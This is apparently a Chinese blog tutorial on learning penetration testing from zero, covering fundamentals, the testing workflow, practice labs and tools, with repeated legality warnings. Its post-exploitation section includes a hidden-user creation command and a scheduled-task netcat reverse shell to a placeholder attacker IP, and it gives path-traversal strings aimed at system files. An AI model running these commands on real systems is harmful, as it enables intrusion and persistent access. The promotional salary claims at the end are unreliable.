作为一名深耕网络安全领域多年的从业者,经常收到粉丝私信:“零基础怎么学渗透测试?”“入门需要掌握哪些技术?”“有没有系统的学习路径?” 今天,就结合当前网络安全行业趋势,为大家梳理一份详细、可落地的渗透测试入门学习指南,帮助零基础同学少走弯路,快速踏入渗透测试的大门。
在开始之前,先明确一个核心认知:渗透测试(Penetration Testing)是授权情况下,模拟黑客的攻击手段,对目标系统、网络或应用进行安全性检测,找出潜在安全漏洞并提供修复建议的过程。其核心目的是“攻防对抗”,最终目标是保障业务系统的安全稳定运行,而非“破坏”。因此,合法合规是渗透测试的前提,任何未经授权的测试行为都可能触犯法律,承担刑事责任。
一、入门前提:先筑牢3大基础能力
渗透测试是一门综合性极强的技术,涉及计算机网络、操作系统、编程语言等多个领域,零基础入门切忌急于求成,先夯实以下3大核心基础,后续学习才能事半功倍。
- 计算机网络基础(必学,核心中的核心)
渗透测试的本质是“跨网络的攻击与防御”,不懂网络,就无法理解漏洞的利用原理(比如SQL注入的数据包传输、端口扫描的网络交互逻辑)。核心需要掌握的内容包括:
网络分层模型:OSI七层模型(物理层、数据链路层、网络层、传输层、会话层、表示层、应用层)和TCP/IP四层模型,明确每一层的核心功能、协议及数据传输流程。
核心协议解析:TCP、UDP、IP、HTTP/HTTPS、DNS、FTP、SMTP等协议的工作原理,重点掌握TCP三次握手/四次挥手、HTTP请求方法(GET/POST/PUT/DELETE)、HTTPS的加密机制(SSL/TLS)。
网络拓扑与设备:理解路由器、交换机、防火墙的作用,掌握子网划分、IP地址分类、端口号(常用1-65535,重点记住80、443、21、22、3389、3306等常用端口对应的服务)。
网络抓包与分析:熟练使用Wireshark工具,能够抓取HTTP/HTTPS数据包,分析请求头、响应体、参数传递方式,定位网络交互中的异常问题(比如参数明文传输漏洞)。
学习资源推荐:《计算机网络(谢希仁第8版)》(理论核心)、Wireshark官方教程(实操)、B站“湖科大教书匠”网络原理精讲(适合零基础)。
- 操作系统基础(Windows+Linux双精通)
渗透测试的目标载体主要是Windows和Linux服务器,熟练掌握两大操作系统的命令行、文件权限、服务管理等内容,是开展测试工作的基础。
(1)Windows系统(重点掌握Server版本)
核心命令:ipconfig、ping、tracert、netstat、tasklist、net user、net localgroup、dir、cd、copy等(用于信息收集、用户管理、进程监控)。
权限体系:管理员权限(Administrator)、普通用户权限、Guest权限的区别,文件/文件夹的NTFS权限设置(读取、写入、执行、完全控制)。
服务与端口:常用服务(IIS、MySQL、SQL Server、RDP远程桌面)的安装、启动/停止方式,端口映射与防火墙配置。
(2)Linux系统(重点掌握CentOS/Ubuntu)
Linux在服务器领域应用广泛,且大多数渗透测试工具(如Metasploit、Nmap)更适配Linux环境,必须熟练掌握命令行操作(无图形化界面场景)。
核心命令:ifconfig/ip addr、ping、traceroute、netstat/ss、ps、top、ls、cd、mkdir、rm、chmod、chown、sudo等(信息收集、权限管理、进程监控)。
权限体系:用户(root、普通用户)、用户组,文件权限(r读、w写、x执行,数字表示法777/755/644),sudo提权的使用场景。
系统管理:服务启停(systemctl start/stop/restart)、计划任务(crontab)、日志查看(/var/log目录下的auth.log、messages等)。
学习资源推荐:《Linux就该这么学》(实操性强)、B站“尚硅谷Linux教程”(零基础入门)、Windows Server 2019官方文档(服务配置)。建议搭建虚拟机(VMware/VirtualBox),分别安装Windows Server 2019和CentOS 7/Ubuntu 22.04,亲手实操命令。
- 编程语言基础(至少掌握1门核心语言)
渗透测试并非“只会用工具就行”,看懂代码、编写简单的EXP(漏洞利用脚本)、批量扫描脚本,是从“脚本小子”走向专业渗透测试工程师的关键。零基础优先掌握以下2门语言之一:
(1)Python(首选,渗透测试第一语言)
Python语法简洁、库丰富(requests、BeautifulSoup、scapy、paramiko等),几乎覆盖渗透测试全流程(信息收集、漏洞扫描、漏洞利用、后渗透测试),是行业主流选择。
核心知识点:变量、数据类型(列表、字典、字符串)、条件语句(if-else)、循环语句(for/while)、函数、模块导入。
渗透相关库:requests(发送HTTP请求,用于接口测试、SQL注入批量检测)、BeautifulSoup(网页解析,用于爬虫收集信息)、scapy(网络数据包构造与分析,用于端口扫描、漏洞利用)。
(2)PHP(次选,适配Web渗透场景)
多数Web应用采用PHP开发(如Discuz、WordPress),掌握PHP基础,能更好地理解Web应用的运行逻辑,分析代码级漏洞(如文件包含、代码执行漏洞)。
- 核心知识点:变量、数组、条件/循环语句、函数、超全局变量( G E T 、 _GET、 GET、_POST、 C O O K I E 、 _COOKIE、 COOKIE、_SESSION)、文件操作(fopen、fwrite)。
学习资源推荐:《Python编程:从入门到实践》(零基础入门Python)、B站“黑马程序员Python教程”(实操为主)、PHP官方手册(快速查阅语法)。建议每天花1-2小时写简单脚本(如批量pingIP、爬取网页链接),培养编码思维。
二、核心学习模块:渗透测试全流程拆解
夯实基础后,进入渗透测试核心技术学习,按照“信息收集→漏洞扫描→漏洞利用→后渗透测试→报告编写”的全流程展开,每个模块都要“理论+实操”结合。
- 信息收集(渗透测试的第一步,决定测试成败)
信息收集的核心目标是“摸清目标的一切可利用信息”,信息越全面,后续漏洞挖掘的成功率越高。分为“被动信息收集”(不与目标直接交互,避免被发现)和“主动信息收集”(与目标直接交互,获取精准信息)。
(1)被动信息收集
域名信息:通过WHOIS查询(查询域名注册人、注册邮箱、到期时间,推荐工具:WHOIS查询网、爱站网)、子域名枚举(挖掘目标的子域名,扩大测试范围,推荐工具:OneForAll、Subfinder、Layer子域名挖掘机)。
IP信息:通过域名解析获取目标IP地址(推荐工具:nslookup、dig),查询IP归属地、运营商、所在网段(推荐工具:IP138、天眼查IP查询),判断目标是否使用CDN(如果使用CDN,需先绕过CDN获取真实IP)。
资产信息:收集目标的Web应用、服务器、APP、小程序等资产(推荐工具:FOFA、Shodan、ZoomEye,三大网络空间搜索引擎,可通过关键词筛选目标资产,如“title:后台 login”)。
其他信息:目标公司的组织架构、员工信息(LinkedIn、企查查)、技术栈信息(通过GitHub、技术博客查找目标公司的开源项目、技术文档)。
(2)主动信息收集
端口扫描:扫描目标IP开放的端口及对应的服务(推荐工具:Nmap,核心命令:nmap -sS -p 1-65535 [目标IP],-sS为半开放扫描,隐蔽性强)。
服务探测:识别开放端口对应的服务版本(如80端口对应Apache 2.4.49、3306端口对应MySQL 5.7),版本信息是漏洞挖掘的关键(如Apache 2.4.49存在路径穿越漏洞)。
Web应用信息:收集Web应用的框架(如ThinkPHP、SpringBoot、WordPress)、插件/主题版本(如WordPress的插件漏洞)、robots.txt文件(可能泄露敏感路径)、页面源码(查看注释中的敏感信息,如账号密码、接口地址)。
实操建议:选取一个合法的测试目标(如自己搭建的Web服务器、DVWA靶场),完整执行一次信息收集,整理出域名、IP、开放端口、服务版本、Web框架等信息,形成信息收集报告。
- 漏洞扫描(自动化+手动结合,高效挖掘漏洞)
漏洞扫描是利用工具或手动检测,找出目标系统/应用中存在的安全漏洞(如SQL注入、XSS、文件上传、权限绕过等)。核心原则:自动化工具提高效率,手动测试验证漏洞真实性并挖掘工具遗漏的漏洞。
(1)常用扫描工具(自动化)
Web应用扫描器:AWVS(Acunetix Web Vulnerability Scanner,商业版,扫描精度高,支持SQL注入、XSS、文件上传等漏洞检测)、AppScan(IBM出品,商业版,适合企业级Web应用扫描)、Burp Suite(社区版免费,功能强大,可手动+自动结合扫描,核心用于接口测试、参数篡改)。
系统/网络扫描器:Nessus(商业版,支持系统漏洞、配置漏洞、恶意软件检测)、OpenVAS(开源免费,功能接近Nessus,适合个人学习)。
专项扫描工具:SQLMap(自动化SQL注入检测与利用工具,核心命令:sqlmap -u “[目标URL]?id=1” --dbs,获取数据库列表)、Xray(长亭科技出品,开源免费,支持Web漏洞扫描,误报率低)。
(2)手动漏洞测试(核心,重点掌握)
自动化工具可能存在误报或漏报,必须掌握手动测试方法,重点关注以下高频漏洞:
SQL注入漏洞:核心原理是用户输入的数据未经过滤,直接拼接到SQL语句中,导致SQL语句被篡改执行。测试方法:在URL参数、表单输入框中输入单引号(')、双引号(")、and 1=1、and 1=2等特殊字符,观察页面响应(如页面报错、内容变化),确认是否存在注入点。常用利用方式:查询数据库、读取文件、写入webshell。
XSS跨站脚本漏洞:核心原理是用户输入的恶意脚本未经过滤,被浏览器执行,分为存储型XSS(脚本存储在服务器,如评论区)、反射型XSS(脚本通过URL参数传递,一次性执行)、DOM型XSS(通过篡改DOM节点执行脚本)。测试方法:输入、
等payload,观察是否弹出警示框。
文件上传漏洞:核心原理是服务器未对上传的文件类型、后缀名进行严格校验,导致恶意文件(如webshell)被上传到服务器并执行。测试方法:尝试上传.php、.jsp、.asp等后缀的webshell文件,若上传成功且能访问执行,则存在漏洞。
文件包含漏洞:核心原理是服务器通过动态包含文件的方式加载资源,但未对包含的文件路径进行严格校验,导致攻击者可包含任意文件(如系统敏感文件、恶意脚本)。测试方法:在参数中传入…/…/etc/passwd(Linux)、…/…/windows/system32/drivers/etc/hosts(Windows)等路径,观察是否能读取文件内容。
权限绕过漏洞:核心原理是服务器的权限控制逻辑存在缺陷,攻击者可通过篡改参数、伪造请求等方式绕过权限验证,访问敏感资源(如后台管理页面、用户信息)。测试方法:尝试直接访问后台URL、篡改Cookie中的用户ID、修改请求头中的Referer/Origin字段。
实操建议:搭建DVWA(Damn Vulnerable Web Application)、SQLi-Labs、Upload-Labs等开源靶场(均支持Docker快速部署),逐个漏洞进行手动测试,熟练掌握漏洞的测试流程和利用方法。
- 漏洞利用(从“发现漏洞”到“控制目标”)
漏洞利用是在发现并验证漏洞后,通过执行EXP(漏洞利用脚本)、使用攻击工具等方式,获取目标系统的权限(如Webshell、服务器管理员权限)。核心是“精准匹配漏洞版本+选择合适的利用方式”。
(1)常用攻击工具
Metasploit Framework(MSF,渗透测试神器):开源免费,集成了大量漏洞的EXP和Payload(攻击载荷),支持Windows、Linux、Android等多个平台。核心流程:启动msfconsole → 搜索漏洞EXP(search [漏洞名称]) → 加载EXP(use [EXP路径]) → 设置目标IP、端口等参数(set RHOSTS [目标IP]、set RPORT [端口]) → 执行攻击(exploit/run)。
Webshell管理工具:中国菜刀、蚁剑、冰蝎(用于连接已上传的webshell,获取Web应用权限,执行命令、上传文件、查看数据库等操作)。
远程控制工具:NC(NetCat,被称为“网络瑞士军刀”,支持端口扫描、反弹shell、文件传输)、向日葵(合法远程控制,用于授权后管理目标服务器)。
(2)典型漏洞利用场景
SQL注入漏洞利用:通过SQLMap获取数据库权限后,读取敏感数据(如用户账号密码),或通过“写入文件”功能上传webshell(需满足数据库权限足够、网站路径已知等条件)。
文件上传漏洞利用:上传webshell后,通过蚁剑连接,若Web应用权限较高(如root/Administrator),可直接控制服务器;若权限较低,可尝试提权(如Linux的SUID提权、Windows的烂土豆提权)。
服务版本漏洞利用:如Apache Log4j2远程代码执行漏洞(CVE-2021-44228)、Apache 2.4.49路径穿越漏洞(CVE-2021-41773),通过MSF加载对应EXP,执行攻击获取服务器权限。
实操建议:在VulnHub(开源漏洞靶机平台)下载靶机(如Kioptrix、Metasploitable),搭建本地测试环境,使用MSF等工具进行漏洞利用,目标是获取靶机的root权限。
- 后渗透测试(权限维持+横向移动)
获取目标系统权限后,并非测试结束,后渗透测试的核心目标是“扩大控制范围”(横向移动,控制同一网段内的其他主机)和“长期控制目标”(权限维持,确保后续能再次访问目标)。
权限维持:Windows系统可创建隐藏用户(net user test$ 123456 /add)、添加计划任务(schtasks /create /tn “test” /tr “cmd.exe /c nc.exe [攻击机IP] [端口] -e cmd.exe” /sc onstart)、植入后门(如永恒之蓝后门);Linux系统可修改SSH密钥、添加crontab计划任务、植入木马。
横向移动:通过收集目标服务器的账号密码(如Windows的SAM文件、Linux的/etc/shadow文件),尝试登录同一网段内的其他主机(使用工具:Hydra暴力破解、PsExec远程执行命令),扩大控制范围。
敏感信息收集:获取目标服务器的核心数据(如数据库备份文件、用户信息、业务数据),确认漏洞可能造成的危害。
- 报告编写(渗透测试的最终输出)
渗透测试报告是测试工作的总结,核心是“清晰、专业、可落地”,让甲方(或客户)清楚漏洞的危害、风险等级及修复建议。一份完整的报告应包含以下模块:
报告摘要:简要说明测试范围、测试方式、核心发现(高危漏洞数量、中危漏洞数量等)、总体风险评级。
测试概述:明确测试目标、测试范围(IP、域名、应用)、测试依据(如OWASP Top 10、GB/T 22239-2019)、测试工具。
漏洞详情:每个漏洞单独描述,包括漏洞名称、风险等级(高危/中危/低危/信息)、漏洞位置、测试过程(截图+步骤)、漏洞原理、危害分析。
修复建议:针对每个漏洞提供具体、可落地的修复方案(如SQL注入漏洞建议使用参数化查询,文件上传漏洞建议校验文件类型和后缀名),优先修复高危漏洞。
附录:信息收集清单、测试工具清单、漏洞证明截图等。
编写建议:报告语言要专业、简洁,避免使用过多技术术语(甲方可能非技术人员),重点突出“漏洞危害”和“修复方案”。可参考CSDN、GitHub上的渗透测试报告模板,结合自身测试场景进行修改。
三、实战路径:从靶场到真实项目(合法合规)
渗透测试是“实操性极强”的技术,仅学理论无法成为合格的渗透测试工程师,必须通过大量实战积累经验。推荐以下实战路径,全程确保合法合规:
阶段1:靶场实操(1-3个月):优先完成DVWA、SQLi-Labs、Upload-Labs、WebGoat等基础靶场的全漏洞测试,熟练掌握每个漏洞的测试流程和利用方法;然后挑战VulnHub、HackTheBox(HTB)、TryHackMe(THM)等进阶靶场,锻炼全流程渗透测试能力(信息收集→漏洞利用→后渗透)。
阶段2:CTF比赛(3-6个月):CTF(Capture The Flag)是渗透测试领域的“实战竞赛”,分为Web、Reverse、Pwn、Crypto、Forensics等方向,Web方向与渗透测试高度契合。通过参加CTF比赛(如国内的HCTF、XCTF,国际的HTB CTF),可以快速提升漏洞挖掘和应急响应能力,积累实战经验。
阶段3:合法项目实战(6个月以上):在具备一定基础后,可通过以下方式参与真实项目:① 加入网络安全公司,从渗透测试助理做起,跟随资深工程师参与甲方项目;② 入驻漏洞响应平台(如补天平台、CNVD漏洞响应平台),提交合法授权的漏洞(获取奖金+经验);③ 为自己公司的业务系统做内部渗透测试(需获得公司授权)。
四、必备工具清单(分类整理,按需掌握)
整理渗透测试全流程常用工具,按模块分类,零基础可逐步掌握:
- 信息收集工具
Nmap、OneForAll、Subfinder、FOFA、Shodan、ZoomEye、Wireshark、Burp Suite(信息收集模块)、Whois查询网、爱站网
- 漏洞扫描工具
AWVS、AppScan、Burp Suite、Nessus、OpenVAS、Xray、SQLMap、Nikto(Web服务器扫描)
- 漏洞利用工具
Metasploit Framework(MSF)、蚁剑、冰蝎、中国菜刀、NC、Hydra(暴力破解)、PsExec(Windows远程执行)
- 后渗透工具
Mimikatz(Windows密码抓取)、Empire(PowerShell后门)、Cobalt Strike(商业级后渗透工具,适合企业级测试)、LaZagne(多平台密码抓取)
- 辅助工具
VMware/VirtualBox(虚拟机)、Docker(靶场部署)、Notepad++/VS Code(代码编辑)、Postman(接口测试)
五、注意事项:合法合规+心态调整
- 合法合规是底线
再次强调:任何未经授权的渗透测试行为,都可能违反《网络安全法》《刑法》,面临行政处罚甚至刑事责任。所有测试工作必须在“明确授权”的前提下进行,测试完成后及时清理测试留下的后门、工具,保护目标系统的安全。
- 保持终身学习的心态
网络安全领域技术更新极快,新漏洞、新攻击手段不断涌现(如每年爆发的Log4j2、SpringCloud等重大漏洞),必须保持终身学习的心态,关注行业动态(如国家信息安全漏洞库CNVD、美国国家漏洞库NVD)、跟进新技术(如AI在渗透测试中的应用)、参与技术社区(CSDN、GitHub、FreeBuf)交流。
- 避免成为“脚本小子”
很多零基础同学入门时,只依赖工具扫描和攻击,不懂漏洞原理,这就是“脚本小子”。要想成为专业的渗透测试工程师,必须“知其然且知其所以然”,理解每个漏洞的原理、代码级成因,能够手动测试漏洞、编写EXP脚本,而非单纯依赖工具。
六、总结与寄语
渗透测试入门并不难,但要想精通,需要扎实的基础、大量的实战和持续的学习。零基础同学可按照“基础能力→核心模块→实战积累”的路径,一步一个脚印,切勿急于求成。记住:渗透测试的核心是“保护系统安全”,而非“攻击破坏”,做一名“有底线、有技术、有责任”的网络安全从业者,才能在行业中长期发展。
最后,给大家留一个小任务:搭建DVWA靶场,完成SQL注入、XSS两个漏洞的手动测试,并编写简单的测试报告。如果在学习过程中有任何问题,欢迎在评论区留言交流,我会及时回复大家!
觉得本文对你有帮助的话,别忘了点赞、收藏、关注我,后续会分享更多渗透测试进阶技术和实战案例!
网络安全学习路线&学习资源![]()
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全学习路线&学习资源![]()
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!